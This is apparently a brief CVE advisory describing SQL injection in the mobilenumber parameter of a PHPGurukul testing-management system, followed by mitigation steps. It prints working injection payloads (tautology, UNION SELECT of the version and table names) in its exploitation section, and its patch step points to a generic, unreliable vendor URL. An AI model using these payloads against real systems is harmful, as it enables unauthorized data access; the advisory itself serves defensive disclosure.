How CVE-2025-4306 Works
The vulnerability exists in the `/edit-phlebotomist.php` file of PHPGurukul Nipah Virus Testing Management System 1.0. The `mobilenumber` parameter is improperly sanitized, allowing attackers to inject malicious SQL queries. Due to lack of input validation, an attacker can manipulate this parameter to execute arbitrary database commands remotely. The SQL injection occurs because user-supplied input is directly concatenated into SQL statements without prepared statements or proper escaping. This enables unauthorized data access, modification, or deletion. The exploit is network-based (AV:N) and requires no authentication (PR:N), making it highly dangerous.
DailyCVE Form:
Platform: PHPGurukul
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 2025-05-05
What Undercode Say:
Exploitation:
1. Identify vulnerable endpoint:
POST /edit-phlebotomist.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded mobilenumber=1' OR 1=1--
2. Extract database info:
mobilenumber=1' UNION SELECT 1,@@version,3,4--
3. Dump table data:
mobilenumber=1' UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
Protection:
1. Use prepared statements:
$stmt = $conn->prepare("UPDATE phlebotomist SET mobilenumber=? WHERE id=?");
$stmt->bind_param("si", $mobilenumber, $id);
2. Input validation:
if (!preg_match("/^[0-9]{10}$/", $_POST['mobilenumber'])) {
die("Invalid input");
}
3. WAF rules:
location ~ edit-phlebotomist.php {
deny all;
}
4. Patch upgrade:
wget https://vendor.com/patches/nipah-fix.zip unzip nipah-fix.zip -d /var/www/html/
5. Log monitoring:
tail -f /var/log/apache2/access.log | grep 'edit-phlebotomist.php'
6. Disable vulnerable endpoint:
chmod 000 /var/www/html/edit-phlebotomist.php
